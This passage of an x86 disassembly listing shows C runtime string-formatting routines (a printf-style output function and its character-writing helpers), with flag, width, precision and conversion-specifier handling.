[ebp+var_4], eax jmp short loc_4112DF ; --------------------------------------------------------------------------- loc_411292: ; CODE XREF: sub_4111BA+4Dj or eax, 20h mov [esi+0Ch], eax or eax, 0FFFFFFFFh jmp short loc_411316 ; --------------------------------------------------------------------------- loc_41129D: ; CODE XREF: sub_4111BA+C4j mov ecx, [ebp+arg_4] cmp ecx, 0FFFFFFFFh jz short loc_4112C0 cmp ecx, 0FFFFFFFEh jz short loc_4112C0 mov eax, ecx and eax, 1Fh imul eax, 28h mov edx, ecx sar edx, 5 add eax, dword_424EE0[edx*4] jmp short loc_4112C5 ; --------------------------------------------------------------------------- loc_4112C0: ; CODE XREF: sub_4111BA+E9j ; sub_4111BA+EEj mov eax, offset dword_423C68 loc_4112C5: ; CODE XREF: sub_4111BA+104j test byte ptr [eax+4], 20h jz short loc_4112DF push 2 push ebx push ebx push ecx call sub_417959 and eax, edx add esp, 10h cmp eax, 0FFFFFFFFh jz short loc_411304 loc_4112DF: ; CODE XREF: sub_4111BA+D6j ; sub_4111BA+10Fj mov eax, [esi+8] mov cl, byte ptr [ebp+arg_0] mov [eax], cl jmp short loc_4112FF ; --------------------------------------------------------------------------- loc_4112E9: ; CODE XREF: sub_4111BA+A9j xor edi, edi inc edi push edi lea eax, [ebp+arg_0] push eax push [ebp+arg_4] call sub_4149D5 add esp, 0Ch mov [ebp+var_4], eax loc_4112FF: ; CODE XREF: sub_4111BA+12Dj cmp [ebp+var_4], edi jz short loc_41130D loc_411304: ; CODE XREF: sub_4111BA+123j or dword ptr [esi+0Ch], 20h or eax, 0FFFFFFFFh jmp short loc_411315 ; --------------------------------------------------------------------------- loc_41130D: ; CODE XREF: sub_4111BA+148j mov eax, [ebp+arg_0] and eax, 0FFh loc_411315: ; CODE XREF: sub_4111BA+151j pop edi loc_411316: ; CODE XREF: sub_4111BA+E1j pop ebx loc_411317: ; CODE XREF: sub_4111BA+2Bj pop esi leave retn sub_4111BA endp ; =============== S U B R O U T I N E ======================================= sub_41131A proc near ; CODE XREF: sub_41134D+11p ; sub_411371+22p ... test byte ptr [ecx+0Ch], 40h jz short loc_411326 cmp dword ptr [ecx+8], 0 jz short loc_41134A loc_411326: ; CODE XREF: sub_41131A+4j dec dword ptr [ecx+4] js short loc_411336 mov edx, [ecx] mov [edx], al inc dword ptr [ecx] movzx eax, al jmp short loc_411342 ; --------------------------------------------------------------------------- loc_411336: ; CODE XREF: sub_41131A+Fj movsx eax, al push ecx push eax call sub_4111BA pop ecx pop ecx loc_411342: ; CODE XREF: sub_41131A+1Aj cmp eax, 0FFFFFFFFh jnz short loc_41134A or [esi], eax retn ; --------------------------------------------------------------------------- loc_41134A: ; CODE XREF: sub_41131A+Aj ; sub_41131A+2Bj inc dword ptr [esi] retn sub_41131A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41134D proc near ; CODE XREF: sub_4113BB+853p ; sub_4113BB+880p ... arg_0 = byte ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push esi mov esi, eax jmp short loc_411368 ; --------------------------------------------------------------------------- loc_411355: ; CODE XREF: sub_41134D+1Fj mov ecx, [ebp+arg_8] mov al, [ebp+arg_0] dec [ebp+arg_4] call sub_41131A cmp dword ptr [esi], 0FFFFFFFFh jz short loc_41136E loc_411368: ; CODE XREF: sub_41134D+6j cmp [ebp+arg_4], 0 jg short loc_411355 loc_41136E: ; CODE XREF: sub_41134D+19j pop esi pop ebp retn sub_41134D endp ; =============== S U B R O U T I N E ======================================= sub_411371 proc near ; CODE XREF: sub_4113BB+867p ; sub_4113BB+8CEp ... arg_0 = dword ptr 4 test byte ptr [edi+0Ch], 40h push ebx push esi mov esi, eax mov ebx, ecx jz short loc_4113B1 cmp dword ptr [edi+8], 0 jnz short loc_4113B1 mov eax, [esp+8+arg_0] add [esi], eax jmp short loc_4113B8 ; --------------------------------------------------------------------------- loc_41138B: ; CODE XREF: sub_411371+45j mov al, [ebx] dec [esp+8+arg_0] mov ecx, edi call sub_41131A inc ebx cmp dword ptr [esi], 0FFFFFFFFh jnz short loc_4113B1 call sub_40F79E cmp dword ptr [eax], 2Ah jnz short loc_4113B8 mov ecx, edi mov al, 3Fh call sub_41131A loc_4113B1: ; CODE XREF: sub_411371+Aj ; sub_411371+10j ... cmp [esp+8+arg_0], 0 jg short loc_41138B loc_4113B8: ; CODE XREF: sub_411371+18j ; sub_411371+35j pop esi pop ebx retn sub_411371 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame fpd=1F8h sub_4113BB proc near ; CODE XREF: sub_40D9FB+80p ; sub_40F60D+84p var_278 = dword ptr -278h var_274 = dword ptr -274h var_270 = dword ptr -270h var_26C = dword ptr -26Ch var_268 = dword ptr -268h var_260 = dword ptr -260h var_25C = byte ptr -25Ch var_254 = dword ptr -254h var_250 = byte ptr -250h var_24C = dword ptr -24Ch var_248 = dword ptr -248h var_244 = dword ptr -244h var_240 = dword ptr -240h var_23C = dword ptr -23Ch var_238 = dword ptr -238h var_234 = dword ptr -234h var_230 = byte ptr -230h var_22F = byte ptr -22Fh var_22C = dword ptr -22Ch var_228 = dword ptr -228h var_224 = dword ptr -224h var_220 = dword ptr -220h var_21C = dword ptr -21Ch var_218 = dword ptr -218h var_211 = byte ptr -211h var_210 = dword ptr -210h var_20C = byte ptr -20Ch var_D = byte ptr -0Dh var_C = byte ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp lea ebp, [esp-1F8h] sub esp, 278h mov eax, dword_4231C4 xor eax, ebp mov [ebp+1F8h+var_4], eax mov eax, [ebp+1F8h+arg_0] push ebx mov ebx, [ebp+1F8h+arg_4] push esi xor esi, esi push edi mov edi, [ebp+1F8h+arg_C] push [ebp+1F8h+arg_8] lea ecx, [ebp+1F8h+var_25C] mov [ebp+1F8h+var_228], eax mov [ebp+1F8h+var_224], edi mov [ebp+1F8h+var_244], esi mov [ebp+1F8h+var_210], esi mov [ebp+1F8h+var_238], esi mov [ebp+1F8h+var_218], esi mov [ebp+1F8h+var_234], esi mov [ebp+1F8h+var_248], esi mov [ebp+1F8h+var_23C], esi call sub_40F7E2 cmp [ebp+1F8h+var_228], esi jnz short loc_411448 loc_41141B: ; CODE XREF: sub_4113BB+E5j ; sub_4113BB+138j ... call sub_40F79E push esi push esi push esi push esi mov dword ptr [eax], 16h push esi loc_41142B: ; CODE XREF: sub_4113BB+948j call sub_40DCD8 add esp, 14h cmp [ebp+1F8h+var_250], 0 jz short loc_411440 mov eax, [ebp+1F8h+var_254] and dword ptr [eax+70h], 0FFFFFFFDh loc_411440: ; CODE XREF: sub_4113BB+7Cj or eax, 0FFFFFFFFh jmp loc_411D18 ; --------------------------------------------------------------------------- loc_411448: ; CODE XREF: sub_4113BB+5Ej mov eax, [ebp+1F8h+var_228] test byte ptr [eax+0Ch], 40h jnz loc_4114F9 push eax call sub_414AB1 cmp eax, 0FFFFFFFFh pop ecx jz short loc_411497 push [ebp+1F8h+var_228] call sub_414AB1 cmp eax, 0FFFFFFFEh pop ecx jz short loc_411497 push [ebp+1F8h+var_228] call sub_414AB1 push [ebp+1F8h+var_228] sar eax, 5 lea esi, ds:424EE0h[eax*4] call sub_414AB1 and eax, 1Fh imul eax, 28h add eax, [esi] pop ecx pop ecx xor esi, esi jmp short loc_41149C ; --------------------------------------------------------------------------- loc_411497: ; CODE XREF: sub_4113BB+A4j ; sub_4113BB+B2j mov eax, offset dword_423C68 loc_41149C: ; CODE XREF: sub_4113BB+DAj test byte ptr [eax+24h], 7Fh jnz loc_41141B push [ebp+1F8h+var_228] call sub_414AB1 cmp eax, 0FFFFFFFFh pop ecx jz short loc_4114EA push [ebp+1F8h+var_228] call sub_414AB1 cmp eax, 0FFFFFFFEh pop ecx jz short loc_4114EA push [ebp+1F8h+var_228] call sub_414AB1 push [ebp+1F8h+var_228] sar eax, 5 lea esi, ds:424EE0h[eax*4] call sub_414AB1 and eax, 1Fh imul eax, 28h add eax, [esi] pop ecx pop ecx xor esi, esi jmp short loc_4114EF ; --------------------------------------------------------------------------- loc_4114EA: ; CODE XREF: sub_4113BB+F7j ; sub_4113BB+105j mov eax, offset dword_423C68 loc_4114EF: ; CODE XREF: sub_4113BB+12Dj test byte ptr [eax+24h], 80h jnz loc_41141B loc_4114F9: ; CODE XREF: sub_4113BB+94j cmp ebx, esi jz loc_41141B mov dl, [ebx] xor ecx, ecx test dl, dl mov [ebp+1F8h+var_22C], esi mov [ebp+1F8h+var_220], esi mov [ebp+1F8h+var_24C], esi mov [ebp+1F8h+var_211], dl jz loc_411D08 loc_411519: ; CODE XREF: sub_4113BB+931j inc ebx cmp [ebp+1F8h+var_22C], 0 mov [ebp+1F8h+var_240], ebx jl loc_411D08 mov al, dl sub al, 20h cmp al, 58h ja short loc_411540 movsx eax, dl movzx eax, byte_41C368[eax] and eax, 0Fh xor esi, esi jmp short loc_411544 ; --------------------------------------------------------------------------- loc_411540: ; CODE XREF: sub_4113BB+172j xor esi, esi xor eax, eax loc_411544: ; CODE XREF: sub_4113BB+183j movsx eax, byte_41C388[ecx+eax*8] push 7 sar eax, 4 pop ecx cmp eax, ecx ; switch 8 cases mov [ebp+1F8h+var_26C], eax ja loc_411CD8 ; default jmp off_411D33[eax*4] ; switch jump loc_411564: ; DATA XREF: .vty:off_411D33o or [ebp+1F8h+var_218], 0FFFFFFFFh ; jumptable 0041155D case 1 mov [ebp+1F8h+var_270], esi mov [ebp+1F8h+var_248], esi mov [ebp+1F8h+var_238], esi mov [ebp+1F8h+var_234], esi mov [ebp+1F8h+var_210], esi mov [ebp+1F8h+var_23C], esi jmp loc_411CD8 ; default ; --------------------------------------------------------------------------- loc_41157F: ; CODE XREF: sub_4113BB+1A2j ; DATA XREF: .vty:off_411D33o movsx eax, dl ; jumptable 0041155D case 2 sub eax, 20h jz short loc_4115C5 sub eax, 3 jz short loc_4115B9 sub eax, 8 jz short loc_4115B0 dec eax dec eax jz short loc_4115A7 sub eax, 3 jnz loc_411CD8 ; default or [ebp+1F8h+var_210], 8 jmp loc_411CD8 ; default ; --------------------------------------------------------------------------- loc_4115A7: ; CODE XREF: sub_4113BB+1D8j or [ebp+1F8h+var_210], 4 jmp loc_411CD8 ; default ; --------------------------------------------------------------------------- loc_4115B0: ; CODE XREF: sub_4113BB+1D4j or [ebp+1F8h+var_210], 1 jmp loc_411CD8 ; default ; --------------------------------------------------------------------------- loc_4115B9: ; CODE XREF: sub_4113BB+1CFj or [ebp+1F8h+var_210], 80h jmp loc_411CD8 ; default ; --------------------------------------------------------------------------- loc_4115C5: ; CODE XREF: sub_4113BB+1CAj or [ebp+1F8h+var_210], 2 jmp loc_411CD8 ; default ; --------------------------------------------------------------------------- loc_4115CE: ; CODE XREF: sub_4113BB+1A2j ; DATA XREF: .vty:off_411D33o cmp dl, 2Ah ; jumptable 0041155D case 3 jnz short loc_4115F3 add edi, 4 mov [ebp+1F8h+var_224], edi mov edi, [edi-4] cmp edi, esi mov [ebp+1F8h+var_238], edi jge loc_411CD8 ; default or [ebp+1F8h+var_210], 4 neg [ebp+1F8h+var_238] jmp loc_411CD8 ; default ; --------------------------------------------------------------------------- loc_4115F3: ; CODE XREF: sub_4113BB+216j mov eax, [ebp+1F8h+var_238] imul eax, 0Ah movsx ecx, dl lea eax, [eax+ecx-30h] mov [ebp+1F8h+var_238], eax jmp loc_411CD8 ; default ; --------------------------------------------------------------------------- loc_411608: ; CODE XREF: sub_4113BB+1A2j ; DATA XREF: .vty:off_411D33o mov [ebp+1F8h+var_218], esi ; jumptable 0041155D case 4 jmp loc_411CD8 ; default ; --------------------------------------------------------------------------- loc_411610: ; CODE XREF: sub_4113BB+1A2j ; DATA XREF: .vty:off_411D33o cmp dl, 2Ah ; jumptable 0041155D case 5 jnz short loc_411632 add edi, 4 mov [ebp+1F8h+var_224], edi mov edi, [edi-4] cmp edi, esi mov [ebp+1F8h+var_218], edi jge loc_411CD8 ; default or [ebp+1F8h+var_218], 0FFFFFFFFh jmp loc_411CD8 ; default ; --------------------------------------------------------------------------- loc_411632: ; CODE XREF: sub_4113BB+258j mov eax, [ebp+1F8h+var_218] imul eax, 0Ah movsx ecx, dl lea eax, [eax+ecx-30h] mov [ebp+1F8h+var_218], eax jmp loc_411CD8 ; default ; --------------------------------------------------------------------------- loc_411647: ; CODE XREF: sub_4113BB+1A2j ; DATA XREF: .vty:off_411D33o cmp dl, 49h ; jumptable 0041155D case 6 jz short loc_411692 cmp dl, 68h jz short loc_411689 cmp dl, 6Ch jz short loc_41166B cmp dl, 77h jnz loc_411CD8 ; default or [ebp+1F8h+var_210], 800h jmp loc_411CD8 ; default ; --------------------------------------------------------------------------- loc_41166B: ; CODE XREF: sub_4113BB+299j cmp byte ptr [ebx], 6Ch jnz short loc_411680 inc ebx or [ebp+1F8h+var_210], 1000h mov [ebp+1F8h+var_240], ebx jmp loc_411CD8 ; default ; --------------------------------------------------------------------------- loc_411680: ; CODE XREF: sub_4113BB+2B3j or [ebp+1F8h+var_210], 10h jmp loc_411CD8 ; default ; --------------------------------------------------------------------------- loc_411689: ; CODE XREF: sub_4113BB+294j or [ebp+1F8h+var_210], 20h jmp loc_411CD8 ; default ; --------------------------------------------------------------------------- loc_411692: ; CODE XREF: sub_4113BB+28Fj mov al, [ebx] cmp al, 36h jnz short loc_4116AF cmp byte ptr [ebx+1], 34h jnz short loc_4116AF inc ebx inc ebx or [ebp+1F8h+var_210], 8000h mov [ebp+1F8h+var_240], ebx jmp loc_411CD8 ; default ; --------------------------------------------------------------------------- loc_4116AF: ; CODE XREF: sub_4113BB+2DBj ; sub_4113BB+2E1j cmp al, 33h jnz short loc_4116CA cmp byte ptr [ebx+1], 32h jnz short loc_4116CA inc ebx inc ebx and [ebp+1F8h+var_210], 0FFFF7FFFh mov [ebp+1F8h+var_240], ebx jmp loc_411CD8 ; default ; --------------------------------------------------------------------------- loc_4116CA: ; CODE XREF: sub_4113BB+2F6j ; sub_4113BB+2FCj cmp al, 64h jz loc_411CD8 ; default cmp al, 69h jz loc_411CD8 ; default cmp al, 6Fh jz loc_411CD8 ; default cmp al, 75h jz loc_411CD8 ; default cmp al, 78h jz loc_411CD8 ; default cmp al, 58h jz loc_411CD8 ; default mov [ebp+1F8h+var_26C], esi loc_4116FD: ; CODE XREF: sub_4113BB+1A2j ; DATA XREF: .vty:off_411D33o lea eax, [ebp+1F8h+var_25C] ; jumptable 0041155D case 0 push eax movzx eax, dl push eax mov [ebp+1F8h+var_23C], esi call sub_413988 pop ecx test eax, eax mov al, [ebp+1F8h+var_211] pop ecx jz short loc_41172F mov ecx, [ebp+1F8h+var_228] lea esi, [ebp+1F8h+var_22C] call sub_41131A mov al, [ebx] inc ebx test al, al mov [ebp+1F8h+var_240], ebx jz loc_411CF1 loc_41172F: ; CODE XREF: sub_4113BB+359j mov ecx, [ebp+1F8h+var_228] lea esi, [ebp+1F8h+var_22C] call sub_41131A jmp loc_411CD8 ; default ; --------------------------------------------------------------------------- loc_41173F: ; CODE XREF: sub_4113BB+1A2j ; DATA XREF: .vty:off_411D33o movsx eax, dl ; jumptable 0041155D case 7 cmp eax, 64h jg loc_4118BD jz loc_41193C cmp eax, 53h jg loc_411805 jz short loc_4117B6 sub eax, 41h jz short loc_411771 dec eax dec eax jz short loc_4117A5 dec eax dec eax jz short loc_411771 dec eax dec eax jnz loc_411BC0 loc_411771: ; CODE XREF: sub_4113BB+3A4j ; sub_4113BB+3ACj add dl, 20h mov [ebp+1F8h+var_270], 1 mov [ebp+1F8h+var_211], dl loc_41177E: ; CODE XREF: sub_4113BB+459j ; sub_4113BB+51Dj or [ebp+1F8h+var_210], 40h cmp [ebp+1F8h+var_218], esi lea ebx, [ebp+1F8h+var_20C] mov eax, 200h mov [ebp+1F8h+var_21C], ebx mov [ebp+1F8h+var_260], eax jge loc_411960 mov [ebp+1F8h+var_218], 6 jmp loc_4119AE ; --------------------------------------------------------------------------- loc_4117A5: ; CODE XREF: sub_4113BB+3A8j test word ptr [ebp+1F8h+var_210], 830h jnz short loc_411822 or [ebp+1F8h+var_210], 800h jmp short loc_411822 ; --------------------------------------------------------------------------- loc_4117B6: ; CODE XREF: sub_4113BB+39Fj test word ptr [ebp+1F8h+var_210], 830h jnz short loc_4117C5 or [ebp+1F8h+var_210], 800h loc_4117C5: ; CODE XREF: sub_4113BB+401j ; sub_4113BB+694j mov ecx, [ebp+1F8h+var_218] cmp ecx, 0FFFFFFFFh jnz short loc_4117D2 mov ecx, 7FFFFFFFh loc_4117D2: ; CODE XREF: sub_4113BB+410j add edi, 4 test word ptr [ebp+1F8h+var_210], 810h mov [ebp+1F8h+var_224], edi mov edi, [edi-4] mov [ebp+1F8h+var_21C], edi jz loc_411B9E cmp edi, esi jnz short loc_4117F6 mov eax, off_4231B4 mov [ebp+1F8h+var_21C], eax loc_4117F6: ; CODE XREF: sub_4113BB+431j mov eax, [ebp+1F8h+var_21C] mov [ebp+1F8h+var_23C], 1 jmp loc_411B93 ; --------------------------------------------------------------------------- loc_411805: ; CODE XREF: sub_4113BB+399j sub eax, 58h jz loc_411A47 dec eax dec eax jz short loc_41186F sub eax, ecx jz loc_41177E dec eax dec eax jnz loc_411BC0 loc_411822: ; CODE XREF: sub_4113BB+3F0j ; sub_4113BB+3F9j add edi, 4 test word ptr [ebp+1F8h+var_210], 810h mov [ebp+1F8h+var_224], edi jz short loc_411857 movzx eax, word ptr [edi-4] push eax push 200h lea eax, [ebp+1F8h+var_20C] push eax lea eax, [ebp+1F8h+var_220] push eax call sub_417CA8 add esp, 10h test eax, eax jz short loc_411864 mov [ebp+1F8h+var_248], 1 jmp short loc_411864 ; --------------------------------------------------------------------------- loc_411857: ; CODE XREF: sub_4113BB+473j mov al, [edi-4] mov [ebp+1F8h+var_20C], al mov [ebp+1F8h+var_220], 1 loc_411864: ; CODE XREF: sub_4113BB+491j ; sub_4113BB+49Aj lea eax, [ebp+1F8h+var_20C] mov [ebp+1F8h+var_21C], eax jmp loc_411BC0 ; --------------------------------------------------------------------------- loc_41186F: ; CODE XREF: sub_4113BB+455j mov eax, [edi] add edi, 4 cmp eax, esi mov [ebp+1F8h+var_224], edi jz short loc_4118A9 mov ecx, [eax+4] cmp ecx, esi jz short loc_4118A9 test word ptr [ebp+1F8h+var_210], 800h movsx eax, word ptr [eax] mov [ebp+1F8h+var_21C], ecx jz short loc_4118A1 cdq sub eax, edx sar eax, 1 mov [ebp+1F8h+var_23C], 1 jmp loc_411BBD ; --------------------------------------------------------------------------- loc_4118A1: ; CODE XREF: sub_4113BB+4D3j mov [ebp+1F8h+var_23C], esi jmp loc_411BBD ; --------------------------------------------------------------------------- loc_4118A9: ; CODE XREF: sub_4113BB+4BEj ; sub_4113BB+4C5j mov eax, off_4231B0 mov [ebp+1F8h+var_21C], eax push eax loc_4118B2: ; CODE XREF: sub_4113BB+680j call sub_40D970 pop ecx jmp loc_411BBD ; --------------------------------------------------------------------------- loc_4118BD: ; CODE XREF: sub_4113BB+38Aj cmp eax, 70h jg loc_411A4C jz loc_411A40 cmp eax, 65h jl loc_411BC0 cmp eax, 67h jle loc_41177E cmp eax, 69h jz short loc_41193C cmp eax, 6Eh jz short loc_411907 cmp eax, 6Fh jnz loc_411BC0 test byte ptr [ebp+1F8h+var_210], 80h mov [ebp+1F8h+var_220], 8 jz short loc_411947 or [ebp+1F8h+var_210], 200h jmp short loc_411947 ; --------------------------------------------------------------------------- loc_411907: ; CODE XREF: sub_4113BB+52Bj mov esi, [edi] add edi, 4 mov [ebp+1F8h+var_224], edi call sub_417B33 test eax, eax jz loc_411CF1 test byte ptr [ebp+1F8h+var_210], 20h jz short loc_41192B mov ax, word ptr [ebp+1F8h+var_22C] mov [esi], ax jmp short loc_411930 ; --------------------------------------------------------------------------- loc_41192B: ; CODE XREF: sub_4113BB+565j mov eax, [ebp+1F8h+var_22C] mov [esi], eax loc_411930: ; CODE XREF: sub_4113BB+56Ej mov [ebp+1F8h+var_248], 1 jmp loc_411CC5 ; --------------------------------------------------------------------------- loc_41193C: ; CODE XREF: sub_4113BB+390j ; sub_4113BB+526j or [ebp+1F8h+var_210], 40h loc_411940: ; CODE XREF: sub_4113BB+69Cj mov [ebp+1F8h+var_220], 0Ah loc_411947: ; CODE XREF: sub_4113BB+541j ; sub_4113BB+54Aj ... mov ecx, [ebp+1F8h+var_210] test cx, cx jns loc_411A96 loc_411953: ; CODE XREF: sub_4113BB+6E0j mov eax, [edi] mov edx, [edi+4] add edi, 8 jmp loc_411ACB ; --------------------------------------------------------------------------- loc_411960: ; CODE XREF: sub_4113BB+3D8j jnz short loc_411970 cmp dl, 67h jnz short loc_4119AE mov [ebp+1F8h+var_218], 1 jmp short loc_4119AE ; --------------------------------------------------------------------------- loc_411970: ; CODE XREF: sub_4113BB:loc_411960j cmp [ebp+1F8h+var_218], eax jle short loc_411978 mov [ebp+1F8h+var_218], eax loc_411978: ; CODE XREF: sub_4113BB+5B8j cmp [ebp+1F8h+var_218], 0A3h jle short loc_4119AE mov esi, [ebp+1F8h+var_218] add esi, 15Dh push esi call sub_412323 test eax, eax mov dl, [ebp+1F8h+var_211] pop ecx mov [ebp+1F8h+var_24C], eax jz short loc_4119A5 mov [ebp+1F8h+var_21C], eax mov [ebp+1F8h+var_260], esi mov ebx, eax jmp short loc_4119AC ; --------------------------------------------------------------------------- loc_4119A5: ; CODE XREF: sub_4113BB+5DEj mov [ebp+1F8h+var_218], 0A3h loc_4119AC: ; CODE XREF: sub_4113BB+5E8j xor esi, esi loc_4119AE: ; CODE XREF: sub_4113BB+3E5j ; sub_4113BB+5AAj ... mov eax, [edi] add edi, 8 mov [ebp+1F8h+var_278], eax mov eax, [edi-4] mov [ebp+1F8h+var_274], eax lea eax, [ebp+1F8h+var_25C] push eax push [ebp+1F8h+var_270] movsx eax, dl push [ebp+1F8h+var_218] mov [ebp+1F8h+var_224], edi push eax push [ebp+1F8h+var_260] lea eax, [ebp+1F8h+var_278] push ebx push eax push off_423DF8 call sub_411DBF pop ecx call eax mov edi, [ebp+1F8h+var_210] add esp, 1Ch and edi, 80h jz short loc_411A0B cmp [ebp+1F8h+var_218], esi jnz short loc_411A0B lea eax, [ebp+1F8h+var_25C] push eax push ebx push off_423E04 call sub_411DBF pop ecx call eax pop ecx pop ecx loc_411A0B: ; CODE XREF: sub_4113BB+634j ; sub_4113BB+639j cmp [ebp+1F8h+var_211], 67h jnz short loc_411A2A cmp edi, esi jnz short loc_411A2A lea eax, [ebp+1F8h+var_25C] push eax push ebx push off_423E00 call sub_411DBF pop ecx call eax pop ecx pop ecx loc_411A2A: ; CODE XREF: sub_4113BB+654j ; sub_4113BB+658j cmp byte ptr [ebx], 2Dh jnz short loc_411A3A or [ebp+1F8h+var_210], 100h inc ebx mov [ebp+1F8h+var_21C], ebx loc_411A3A: ; CODE XREF: sub_4113BB+672j push ebx jmp loc_4118B2 ; --------------------------------------------------------------------------- loc_411A40: ; CODE XREF: sub_4113BB+50Bj mov [ebp+1F8h+var_218], 8 loc_411A47: ; CODE XREF: sub_4113BB+44Dj mov [ebp+1F8h+var_244], ecx jmp short loc_411A6D ; --------------------------------------------------------------------------- loc_411A4C: ; CODE XREF: sub_4113BB+505j sub eax, 73h jz loc_4117C5 dec eax dec eax jz loc_411940 sub eax, 3 jnz loc_411BC0 mov [ebp+1F8h+var_244], 27h loc_411A6D: ; CODE XREF: sub_4113BB+68Fj test byte ptr [ebp+1F8h+var_210], 80h mov [ebp+1F8h+var_220], 10h jz loc_411947 mov al, byte ptr [ebp+1F8h+var_244] add al, 51h mov [ebp+1F8h+var_230], 30h mov [ebp+1F8h+var_22F], al mov [ebp+1F8h+var_234], 2 jmp loc_411947 ; --------------------------------------------------------------------------- loc_411A96: ; CODE XREF: sub_4113BB+592j test cx, 1000h jnz loc_411953 add edi, 4 test cl, 20h jz short loc_411ABE test cl, 40h mov [ebp+1F8h+var_224], edi jz short loc_411AB7 movsx eax, word ptr [edi-4] jmp short loc_411ABB ; --------------------------------------------------------------------------- loc_411AB7: ; CODE XREF: sub_4113BB+6F4j movzx eax, word ptr [edi-4] loc_411ABB: ; CODE XREF: sub_4113BB+6FAj cdq jmp short loc_411ACE ; --------------------------------------------------------------------------- loc_411ABE: ; CODE XREF: sub_4113BB+6ECj test cl, 40h mov eax, [edi-4] jz short loc_411AC9 cdq jmp short loc_411ACB ; --------------------------------------------------------------------------- loc_411AC9: ; CODE XREF: sub_4113BB+709j xor edx, edx loc_411ACB: ; CODE XREF: sub_4113BB+5A0j ; sub_4113BB+70Cj mov [ebp+1F8h+var_224], edi loc_411ACE: ; CODE XREF: sub_4113BB+701j test cl, 40h jz short loc_411AEB cmp edx, esi jg short loc_411AEB jl short loc_411ADD cmp eax, esi jnb short loc_411AEB loc_411ADD: ; CODE XREF: sub_4113BB+71Cj neg eax adc edx, 0 neg edx or [ebp+1F8h+var_210], 100h loc_411AEB: ; CODE XREF: sub_4113BB+716j ; sub_4113BB+71Aj ... test word ptr [ebp+1F8h+var_210], 9000h mov ebx, edx mov edi, eax jnz short loc_411AF9 xor ebx, ebx loc_411AF9: ; CODE XREF: sub_4113BB+73Aj cmp [ebp+1F8h+var_218], 0 jge short loc_411B08 mov [ebp+1F8h+var_218], 1 jmp short loc_411B19 ; --------------------------------------------------------------------------- loc_411B08: ; CODE XREF: sub_4113BB+742j and [ebp+1F8h+var_210], 0FFFFFFF7h mov eax, 200h cmp [ebp+1F8h+var_218], eax jle short loc_411B19 mov [ebp+1F8h+var_218], eax loc_411B19: ; CODE XREF: sub_4113BB+74Bj ; sub_4113BB+759j mov eax, edi or eax, ebx jnz short loc_411B23 and [ebp+1F8h+var_234], 0 loc_411B23: ; CODE XREF: sub_4113BB+762j lea esi, [ebp+1F8h+var_D] loc_411B29: ; CODE XREF: sub_4113BB+7A0j mov eax, [ebp+1F8h+var_218] dec [ebp+1F8h+var_218] test eax, eax jg short loc_411B39 mov eax, edi or eax, ebx jz short loc_411B5D loc_411B39: ; CODE XREF: sub_4113BB+776j mov eax, [ebp+1F8h+var_220] cdq push edx push eax push ebx push edi call sub_417CD0 add ecx, 30h cmp ecx, 39h mov [ebp+1F8h+var_260], ebx mov edi, eax mov ebx, edx jle short loc_411B58 add ecx, [ebp+1F8h+var_244] loc_411B58: ; CODE XREF: sub_4113BB+798j mov [esi], cl dec esi jmp short loc_411B29 ; --------------------------------------------------------------------------- loc_411B5D: ; CODE XREF: sub_4113BB+77Cj lea eax, [ebp+1F8h+var_D] sub eax, esi inc esi test word ptr [ebp+1F8h+var_210], 200h mov [ebp+1F8h+var_220], eax mov [ebp+1F8h+var_21C], esi jz short loc_411BC0 test eax, eax jz short loc_411B7F mov ecx, esi cmp byte ptr [ecx], 30h jz short loc_411BC0 loc_411B7F: ; CODE XREF: sub_4113BB+7BBj dec [ebp+1F8h+var_21C] mov ecx, [ebp+1F8h+var_21C] mov byte ptr [ecx], 30h inc eax jmp short loc_411BBD ; --------------------------------------------------------------------------- loc_411B8B: ; CODE XREF: sub_4113BB+7DAj dec ecx cmp [eax], si jz short loc_411B97 inc eax inc eax loc_411B93: ; CODE XREF: sub_4113BB+445j cmp ecx, esi jnz short loc_411B8B loc_411B97: ; CODE XREF: sub_4113BB+7D4j sub eax, [ebp+1F8h+var_21C] sar eax, 1 jmp short loc_411BBD ; --------------------------------------------------------------------------- loc_411B9E: ; CODE XREF: sub_4113BB+429j cmp edi, esi jnz short loc_411BAA mov eax, off_4231B0 mov [ebp+1F8h+var_21C], eax loc_411BAA: ; CODE XREF: sub_4113BB+7E5j mov eax, [ebp+1F8h+var_21C] jmp short loc_411BB6 ; --------------------------------------------------------------------------- loc_411BAF: ; CODE XREF: sub_4113BB+7FDj dec ecx cmp byte ptr [eax], 0 jz short loc_411BBA inc eax loc_411BB6: ; CODE XREF: sub_4113BB+7F2j cmp ecx, esi jnz short loc_411BAF loc_411BBA: ; CODE XREF: sub_4113BB+7F8j sub eax, [ebp+1F8h+var_21C] loc_411BBD: ; CODE XREF: sub_4113BB+4E1j ; sub_4113BB+4E9j ... mov [ebp+1F8h+var_220], eax loc_411BC0: ; CODE XREF: sub_4113BB+3B0j ; sub_4113BB+461j ... cmp [ebp+1F8h+var_248], 0 jnz loc_411CC5 mov eax, [ebp+1F8h+var_210] test al, 40h jz short loc_411BF6 test ax, 100h jz short loc_411BDD mov [ebp+1F8h+var_230], 2Dh jmp short loc_411BEF ; --------------------------------------------------------------------------- loc_411BDD: ; CODE XREF: sub_4113BB+81Aj test al, 1 jz short loc_411BE7 mov [ebp+1F8h+var_230], 2Bh jmp short loc_411BEF ; --------------------------------------------------------------------------- loc_411BE7: ; CODE XREF: sub_4113BB+824j test al, 2 jz short loc_411BF6 mov [ebp+1F8h+var_230], 20h loc_411BEF: ; CODE XREF: sub_4113BB+820j ; sub_4113BB+82Aj mov [ebp+1F8h+var_234], 1 loc_411BF6: ; CODE XREF: sub_4113BB+814j ; sub_4113BB+82Ej mov ebx, [ebp+1F8h+var_238] sub ebx, [ebp+1F8h+var_220] sub ebx, [ebp+1F8h+var_234] test byte ptr [ebp+1F8h+var_210], 0Ch jnz short loc_411C16 push [ebp+1F8h+var_228] lea eax, [ebp+1F8h+var_22C] push ebx push 20h call sub_41134D add esp, 0Ch loc_411C16: ; CODE XREF: sub_4113BB+848j push [ebp+1F8h+var_234] mov edi, [ebp+1F8h+var_228] lea eax, [ebp+1F8h+var_22C] lea ecx, [ebp+1F8h+var_230] call sub_411371 test byte ptr [ebp+1F8h+var_210], 8 pop ecx jz short loc_411C43 test byte ptr [ebp+1F8h+var_210], 